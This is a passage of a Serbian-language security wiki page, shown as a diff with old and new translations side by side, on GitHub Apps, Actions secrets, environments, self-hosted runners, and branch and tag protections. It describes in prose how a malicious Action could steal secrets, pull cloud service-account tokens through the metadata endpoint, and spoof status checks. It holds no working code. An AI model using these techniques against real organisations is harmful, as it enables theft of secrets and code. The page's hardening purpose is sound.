- GitHub aplikacija treba da **preduzima radnje nezavisno od korisnika** (osim ako aplikacija koristi [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). Da biste zadržali korisničke pristupne tokene sigurnijim, možete koristiti pristupne tokene koji će isteći nakon 8 sati, i osvežavajući token koji se može zameniti za novi pristupni token. Za više informacija, pogledajte "[Osvežavanje korisničkih pristupnih tokena](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
- Uverite se da se GitHub aplikacija integriše sa **specifičnim repozitorijumima**.
- GitHub aplikacija treba da **poveže sa ličnim nalogom ili organizacijom**.
- Ne očekujte da GitHub aplikacija zna i radi sve što korisnik može.
- **Nemojte koristiti GitHub aplikaciju ako vam je potrebna samo usluga "Prijava sa GitHub-om"**. Ali GitHub aplikacija može koristiti [tokene za identifikaciju korisnika](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) da prijavi korisnike _i_ obavi druge stvari.
- Ne pravite GitHub aplikaciju ako _samo_ želite da delujete kao GitHub korisnik i radite sve što taj korisnik može.
- Ako koristite svoju aplikaciju sa GitHub Actions i želite da modifikujete datoteke radnog toka, morate se autentifikovati u ime korisnika sa Oauth tokenom koji uključuje `workflow` opseg. Korisnik mora imati administratorske ili pisane dozvole za repozitorijum koji sadrži datoteku radnog toka. Za više informacija, pogledajte "[Razumevanje opsega za Oauth aplikacije](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
- **Više** ovde [more](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
- GitHub App bi trebalo da **take actions independent of a user** (osim ako app ne koristi [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). Da biste učinili user-to-server access tokens sigurnijim, možete koristiti access tokens koji ističu nakon 8 sati, i refresh token koji se može zameniti za novi access token. Za više informacija, pogledajte "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
- Uverite se da se GitHub App integriše sa **specific repositories**.
- GitHub App treba da **connect to a personal account or an organisation**.
- Ne očekujte da GitHub App zna i radi sve što korisnik može.
- **Don't use a GitHub App if you just need a "Login with GitHub" service**. Ali GitHub App može koristiti [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) da loguje korisnike _and_ radi druge stvari.
- Ne pravite GitHub App ako želite _only_ da delujete kao GitHub user i radite sve što taj user može.
- Ako koristite vašu app sa GitHub Actions i želite da modifikujete workflow fajlove, morate se autentifikovati u ime korisnika sa OAuth token-om koji uključuje `workflow` scope. Korisnik mora imati admin ili write permission na repository koji sadrži workflow fajl. Za više informacija, pogledajte "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
- **More** u [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
### Github Actions
Ovo **nije način za autentifikaciju u github-u**, ali **maliciozna** Github akcija bi mogla dobiti **neovlašćen pristup github-u** i **u zavisnosti** od **privilegija** datih akciji, moglo bi se izvršiti nekoliko **različitih napada**. Pogledajte u nastavku za više informacija.
Ovo **nije način za autentifikaciju u github**, ali jedna **malicious** Github Action može dobiti **unauthorised access to github** i **u zavisnosti** od **privileges** dodeljenih Action mogu biti izvedeni različiti **attacks**. Vidi dole za više informacija.
## Git akcije
## Git Actions
Git akcije omogućavaju automatizaciju **izvršavanja koda kada se dogodi događaj**. Obično je izvršeni kod **neka vrsta povezanosti sa kodom repozitorijuma** (možda izgraditi docker kontejner ili proveriti da PR ne sadrži tajne).
Git actions omogućavaju automatizaciju **execution of code when an event happen**. Obično se izvršava kod koji je **nekačim načinom vezan za kod repository** (možda build-a docker container ili proverava da li PR ne sadrži secrets).
### Konfiguracija
### Configuration
Na _https://github.com/organizations/\<org_name>/settings/actions_ moguće je proveriti **konfiguraciju github akcija** za organizaciju.
U _https://github.com/organizations/\<org_name>/settings/actions_ moguće je proveriti **configuration of the github actions** za organization.
Moguće je potpuno zabraniti korišćenje github akcija, **dozvoliti sve github akcije**, ili samo dozvoliti određene akcije.
Moguće je zabraniti korišćenje github actions potpuno, **allow all github actions**, ili dozvoliti samo određene actions.
Takođe je moguće konfigurisati **ko treba da dobije odobrenje za pokretanje Github akcije** i **dozvole GITHUB_TOKEN** Github akcije kada se pokrene.
Takođe je moguće konfigurisati **who needs approval to run a Github Action** i **permissions of the GITHUB_TOKEN** koje Github Action ima kada se izvrši.
### Git tajne
### Git Secrets
Github akcije obično trebaju neku vrstu tajni da bi interagovale sa github-om ili aplikacijama trećih strana. Da bi se **izbeglo stavljanje u čistom tekstu** u repozitorijum, github omogućava da se one postave kao **Tajne**.
Github Action obično treba neku vrstu secrets da bi komunicirao sa github ili third party aplikacijama. Da biste **izbegli stavljanje u clear-text** u repo, github omogućava da ih stavite kao **Secrets**.
Ove tajne mogu biti konfigurirane **za repozitorijum ili za celu organizaciju**. Zatim, da bi **Akcija mogla da pristupi tajni**, potrebno je da je deklarisete kao:
Ovi secrets se mogu konfigurisati **za repo or for all the organization**. Zatim, da bi **Action mogao da pristupi secret-u** potrebno je da ga deklarišete kao:
```yaml
steps:
- name: Hello world action
@@ -168,75 +168,91 @@ run: |
example-command "$SUPER_SECRET"
```
> [!WARNING]
> Tajne informacije **mogu se pristupiti samo iz Github Actions** koje ih imaju deklarisane.
> Secrets **mogu biti pristupljeni samo iz Github Actions** koje su ih deklarisale.
> Kada su konfigurisane u repozitorijumu ili organizacijama, **korisnici Githuba više neće moći da im pristupe**, samo će moći da **promene**.
> Kada su konfigurisane u repo-u ili u okviru organizacije, **korisnici github-a više neće moći da im pristupe**, moći će samo da ih **promene**.
Dakle, **jedini način da se ukradu github tajne je da se pristupi mašini koja izvršava Github Action** (u toj situaciji ćete moći da pristupite samo tajnama deklarisanim za Action).
Dakle, **jedini način da ukradete github secrets je da imate pristup mašini koja izvršava Github Action** (u tom scenariju moći ćete da pristupite samo secrets deklarisanim za tu Action).
### Git Okruženja
### Git Environments
Github omogućava kreiranje **okruženja** gde možete sačuvati **tajne**. Zatim, možete dati github akciji pristup tajnama unutar okruženja sa nečim poput:
Github omogućava kreiranje **environments** gde možete sačuvati **secrets**. Zatim, možete dati github action pristup secrets unutar environment-a sa nečim poput:
```yaml
jobs:
deployment:
runs-on: ubuntu-latest
environment: env_name
```
Možete konfigurisati okruženje da bude **pristupačno** **svim granama** (podrazumevano), **samo za zaštićene** grane ili **odrediti** koje grane mogu da mu pristupe.\
Takođe može postaviti **broj potrebnih recenzija** pre **izvršavanja** **akcije** koristeći **okruženje** ili **čekati** neko **vreme** pre nego što dozvoli da se implementacije nastave.
Možete konfigurirati okruženje da bude **accessed** by **all branches** (default), **only protected** branches ili **specify** which branches mogu da mu pristupe.\
Dodatno, zaštite okruženja uključuju:
- **Required reviewers**: zadržava gate jobs koji ciljaju okruženje dok se ne odobri. Omogućite **Prevent self-review** da biste primenili princip četiri oka i na samo odobrenje.
- **Deployment branches and tags**: ograničava koje grane/tagovi mogu deploy-ovati u okruženje. Preporučljivo je izabrati specifične grane/tagove i osigurati da su te grane zaštićene. Napomena: opcija "Protected branches only" se odnosi na klasične branch protections i možda se neće ponašati očekivano ako koristite rulesets.
- **Wait timer**: odlaže deploy-e za konfigurisani period.
Takođe se može podesiti **number of required reviews** pre nego što se **execute** **an action** koristeći **environment**, ili **wait** neko **time** pre nego što se dozvole deploy-evi da nastave.
### Git Action Runner
Github akcija može biti **izvršena unutar github okruženja** ili može biti izvršena u **infrastrukturi treće strane** koju je konfigurisao korisnik.
A Github Action može biti **executed inside the github environment** ili može biti izvršen u **third party infrastructure** koju konfiguriše korisnik.
Nekoliko organizacija će dozvoliti pokretanje Github akcija u **infrastrukturi treće strane** jer obično bude **jeftinije**.
Neke organizacije dozvoljavaju pokretanje Github Actions u **third party infrastructure** jer je to često **cheaper**.
Možete **navesti self-hosted trkače** organizacije na _https://github.com/organizations/\<org_name>/settings/actions/runners_
Možete **list the self-hosted runners** organizacije na _https://github.com/organizations/\<org_name>/settings/actions/runners_
Način da saznate koje **Github akcije se izvršavaju u ne-github infrastrukturi** je da potražite `runs-on: self-hosted` u yaml konfiguraciji Github akcije.
Način da se pronađe koje se **Github Actions are being executed in non-github infrastructure** je da pretražite za `runs-on: self-hosted` u Github Action konfiguracionom yaml-u.
**Nije moguće pokrenuti Github akciju organizacije unutar self-hosted okruženja** druge organizacije jer se **generiše jedinstveni token za trkača** prilikom njegove konfiguracije kako bi se znalo kojoj organizaciji trkač pripada.
Nije moguće da se Github Action organizacije izvršava unutar self hosted mašine druge organizacije zato što se pri konfiguraciji Runner-a **a unique token is generated for the Runner** koji određuje kojoj organizaciji runner pripada.
Ako je prilagođeni **Github trkač konfiguran na mašini unutar AWS-a ili GCP-a**, akcija **može imati pristup metapodacima** i **ukrasti token servisnog naloga** sa kojim mašina radi.
Ako je custom **Github Runner configured in a machine inside AWS or GCP**, na primer, Action **could have access to the metadata endpoint** i **steal the token of the service account** sa kojim mašina radi.
### Git Action Compromise
Ako su sve akcije (ili zla akcija) dozvoljene, korisnik bi mogao koristiti **Github akciju** koja je **zla** i koja će **kompromitovati** **kontejner** u kojem se izvršava.
Ako su sve akcije (ili jedna maliciozna akcija) dozvoljene, korisnik bi mogao upotrebiti **Github action** koja je **malicious** i kompromitovati **container** u kojem se izvršava.
> [!CAUTION]
> **Zla Github akcija** može biti **zloupotrebljena** od strane napadača da:
> A **malicious Github Action** run može biti **abused** od strane napadača da:
>
> - **Ukrade sve tajne** kojima akcija ima pristup
> - **Pomera se lateralno** ako se akcija izvršava unutar **infrastrukture treće strane** gde se može pristupiti SA tokenu koji se koristi za pokretanje mašine (verovatno putem usluge metapodataka)
> - **Zloupotrebi token** koji koristi **workflow** da **ukrade kod repozitorijuma** gde se akcija izvršava ili **čak da ga izmeni**.
> - **Steal all the secrets** kojima Action ima pristup
> - **Move laterally** ako se Action izvršava unutar **third party infrastructure** gde se SA token koji se koristi za pokretanje mašine može dohvatiti (verovatno preko metadata service)
> - **Abuse the token** koji koristi **workflow** da **steal the code of the repo** u kojem se Action izvršava ili čak **modify it**.
## Branch Protections
Zaštite grana su dizajnirane da **ne daju potpunu kontrolu nad repozitorijumom** korisnicima. Cilj je **postaviti nekoliko metoda zaštite pre nego što se može pisati kod unutar neke grane**.
Branch protections su dizajnirane da **not give complete control of a repository** korisnicima. Cilj je da se **put several protection methods before being able to write code inside some branch**.
**Zaštite grana repozitorijuma** mogu se pronaći na _https://github.com/\<orgname>/\<reponame>/settings/branches_
The **branch protections of a repository** možete pronaći na _https://github.com/\<orgname>/\<reponame>/settings/branches_
> [!NOTE]
> **Nije moguće postaviti zaštitu grane na nivou organizacije**. Tako da sve one moraju biti deklarisane na svakom repozitorijumu.
> Nije **possible to set a branch protection at organization level**. Dakle, sve zaštite moraju biti deklarisane u svakom repo-u.
Različite zaštite mogu se primeniti na granu (kao na master):
Razne zaštite se mogu primeniti na granu (npr. master):
- Možete **zahtevati PR pre spajanja** (tako da ne možete direktno spojiti kod preko grane). Ako je ovo odabrano, različite druge zaštite mogu biti na snazi:
- **Zahtevati broj odobrenja**. Veoma je uobičajeno zahtevati 1 ili 2 osobe da odobre vaš PR tako da jedan korisnik ne može direktno spojiti kod.
- **Odbaciti odobrenja kada su novi commitovi poslati**. Ako ne, korisnik može odobriti legitiman kod, a zatim dodati zli kod i spojiti ga.
- **Zahtevati recenzije od vlasnika koda**. Najmanje 1 vlasnik koda repozitorijuma treba da odobri PR (tako da "slučajni" korisnici ne mogu da ga odobre)
- **Ograničiti ko može da odbaci recenzije pull zahteva.** Možete odrediti ljude ili timove koji mogu da odbace recenzije pull zahteva.
- **Dozvoliti određenim akterima da zaobiđu zahteve pull zahteva**. Ovi korisnici će moći da zaobiđu prethodne restrikcije.
- **Zahtevati da status provere prođe pre spajanja.** Neke provere moraju proći pre nego što se može spojiti commit (kao što je github akcija koja proverava da li nema tajnih podataka u čistom tekstu).
- **Zahtevati rešenje razgovora pre spajanja**. Svi komentari na kod moraju biti rešeni pre nego što se PR može spojiti.
- **Zahtevati potpisane commitove**. Commitovi moraju biti potpisani.
- **Zahtevati linearnu istoriju.** Sprečava spajanje commitova da budu poslati na odgovarajuće grane.
- **Uključiti administratore**. Ako ovo nije postavljeno, administratori mogu zaobići restrikcije.
- **Ograničiti ko može da šalje na odgovarajuće grane**. Ograničiti ko može da pošalje PR.
- Možete **require a PR before merging** (tako da ne možete direktno merge-ovati kod u granu). Ako je ovo izabrano, mogu biti prisutne i druge zaštite:
- **Require a number of approvals**. Veoma je često zahtevati 1 ili 2 osobe da odobre PR kako bi se sprečilo da jedna osoba direktno merge-uje kod.
- **Dismiss approvals when new commits are pushed**. Ako nije omogućeno, korisnik može odobriti legitiman kod, a zatim dodati maliciozan kod i merge-ovati ga.
- **Require approval of the most recent reviewable push**. Osigurava da svaki novi commit posle odobrenja (uključujući push-ove drugih saradnika) ponovo pokreće review tako da napadač ne može push-ovati izmene posle odobrenja i merge-ovati.
- **Require reviews from Code Owners**. Najmanje 1 code owner repoa mora odobriti PR (tako da "random" korisnici ne mogu odobriti).
- **Restrict who can dismiss pull request reviews.** Možete specificirati osobe ili timove koji su dozvoljeni da dismiss-uju pull request reviews.
- **Allow specified actors to bypass pull request requirements**. Ovi korisnici će moći da zaobiđu prethodna ograničenja.
- **Require status checks to pass before merging.** Neki check-ovi moraju proći pre nego što se može merge-ovati commit (npr. GitHub App koji izveštava SAST rezultate). Savet: vezujte required checks za specifičan GitHub App; u suprotnom bilo koji app može spoof-ovati check preko Checks API, a mnogi botovi prihvataju skip direktive (npr. "@bot-name skip").
- **Require conversation resolution before merging**. Svi komentari na kod moraju biti rešeni pre nego što se PR može merge-ovati.
- **Require signed commits**. Commits moraju biti potpisani.
- **Require linear history.** Sprečava push-ovanje merge commit-ova na grane koje se poklapaju.
- **Include administrators**. Ako ovo nije postavljeno, administratori mogu zaobići ograničenja.
- **Restrict who can push to matching branches**. Ograničava ko može poslati PR.
> [!NOTE]
> Kao što vidite, čak i ako uspete da dobijete neka akreditivna sredstva korisnika, **repozitorijumi mogu biti zaštićeni sprečavajući vas da šaljete kod na master** na primer da kompromitujete CI/CD pipeline.
> Kao što vidite, čak i ako uspete da dobijete kredencijale nekog korisnika, **repos might be protected avoiding you to pushing code to master** na primer, da biste kompromitovali CI/CD pipeline.
## Tag Protections
Tagovi (npr. latest, stable) su po defaultu mutable. Da biste primenili tok rada sa četiri oka na update tagova, zaštitite tagove i povežite zaštite kroz enviroments i grane:
1) Na pravilu za zaštitu tagova, omogućite **Require deployments to succeed** i zahtevajte uspešan deploy u zaštićeno okruženje (npr. prod).
2) U ciljanom okruženju, ograničite **Deployment branches and tags** na release branch (npr. main) i opciono konfigurišite **Required reviewers** sa **Prevent self-review**.
3) Na release grani, konfigurišite branch protections da **Require a pull request**, postavite approvals ≥ 1, i omogućite i **Dismiss approvals when new commits are pushed** i **Require approval of the most recent reviewable push**.
Ovaj lanac sprečava jednog saradnika da ponovo tag-uje ili force-publish-uje releasove menjajući workflow YAML, jer su deployment gate-ovi sprovedeni van workflow-a.
## References
@@ -245,5 +261,10 @@ Različite zaštite mogu se primeniti na granu (kao na master):
- [https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github](https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github)
- [https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards](https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards)
- [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
- [https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
- [https://securitylab.github.com/resources/github-actions-untrusted-input/](https://securitylab.github.com/resources/github-actions-untrusted-input/)
- [https://docs.github.com/en/rest/checks/runs](https://docs.github.com/en/rest/checks/runs)
- [https://docs.github.com/en/apps](https://docs.github.com/en/apps)
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
{{#include ../../banners/hacktricks-training.md}}